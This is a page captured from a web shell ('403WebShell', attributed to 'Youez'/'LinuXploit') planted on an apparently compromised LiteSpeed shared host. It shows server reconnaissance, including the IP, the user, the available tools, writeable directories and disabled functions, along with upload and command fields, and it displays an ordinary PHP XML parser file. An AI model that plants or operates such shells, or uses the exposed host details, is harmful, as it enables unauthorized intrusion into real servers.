Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.227.183.161
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/lsws/admin/html/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lsws/admin/html/classes/XmlTreeBuilder.php
<?php

class XmlTreeBuilder
{

	private $parser;
	private $node_stack;
	private $cur_node;
	private $cur_val;

	//TAG=0, VALUE=1, ELEMENTS=2

	public function &ParseFile($filename, &$err)
	{
		if (!is_file($filename)) {
			$err = $filename . ' is not a valid file.';
			return null;
		}
		$fd = fopen($filename, 'r');
		if (!$fd) {
			$err = 'failed to open file ' . $filename;
			return null;
		}
		$len = filesize($filename);
		if ($len > 0) {
			$contents = fread($fd, $len);
			fclose($fd);
			$root = $this->parseString($contents, $err);
		} else {
			$root = [];
			fclose($fd);
		}

		if ($err != null) {
			$err .= '<br> Failed to parse file ' . $filename;
			return null;
		}

		return $root;
	}

	private function parseString($xmlstring, &$err)
	{
		$this->parser = xml_parser_create();
		xml_set_object($this->parser, $this);
		xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, false);
		xml_set_element_handler($this->parser, 'startElement', 'endElement');
		xml_set_character_data_handler($this->parser, 'characterData');

		// Build a Root node and initialize the node_stack...
		$this->node_stack = [];
		$this->cur_node = null;
		$this->startElement(null, 'root', []);

		// parse the data and free the parser...
		$result = xml_parse($this->parser, $xmlstring);
		if (!$result) {
			$err = 'XML error: ' . xml_error_string(xml_get_error_code($this->parser))
					. ' at line ' . xml_get_current_line_number($this->parser);
		}
		xml_parser_free($this->parser);
		if (!$result) {
			return null;
		}

		// return the root node...

		return $this->cur_node[2][0];
	}

	private function startElement($parser, $name, $attrs)
	{
		if ($this->cur_node != null) {
			$this->node_stack[] = $this->cur_node;
		}
		$this->cur_node = [];
		$this->cur_node[0] = $name; //'TAG'=0
//		foreach ($attrs as $key => $value) 
//		{
//			$node[$key] = $value;
//		}  //no attributes used in xml

		$this->cur_val = '';
		$this->cur_node[2] = []; //'ELEMENTS'=2
	}

	private function endElement($parser, $name)
	{
		$this->cur_node[1] = trim($this->cur_val); //'VALUE'=1
		$node = $this->cur_node;
		// and add it an element of the last node in the stack...
		$this->cur_node = array_pop($this->node_stack);
		$this->cur_node[2][] = $node;
	}

	private function characterData($parser, $data)
	{
		// add this data to the last node in the stack...
		$this->cur_val .= $data;
	}

	private function xmlNodeOutput(&$node, $space)
	{
		$output = str_repeat('  ', $space);
		$attrs = [];
		foreach (array_keys($node) as $key) {
			if ($key == 0) { //'TAG'
				$name = &$node[0];
			} elseif ($key == 1) { //'VALUE'
				$data = &$node[1];
			} elseif ($key == 2) { //'ELEMENTS'
				$elements = &$node[2];
			} else {
				$attrs[$key] = $node[$key];
			}
		}
		$name = $node[0]; //'TAG'
		$output .= "<$name";
		if (count($attrs) > 0) {
			foreach ($attrs as $key => $value) {
				$output .= " $key=\"$value\"";
			}
		}
		$output .= '>';

		if (count($elements) == 0) {
			$output .= "$data</$name>\n";
		} else {
			$output .= "\n";
			if ($data) {
				$output .= str_repeat('  ', $space + 1);
				$output .= $data . "\n";
			}

			foreach (array_keys($elements) as $key) {
				$output .= $this->xmlNodeOutput($elements[$key], $space + 1);
			}

			$output .= str_repeat('  ', $space);
			$output .= "</$name>\n";
		}
		return $output;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit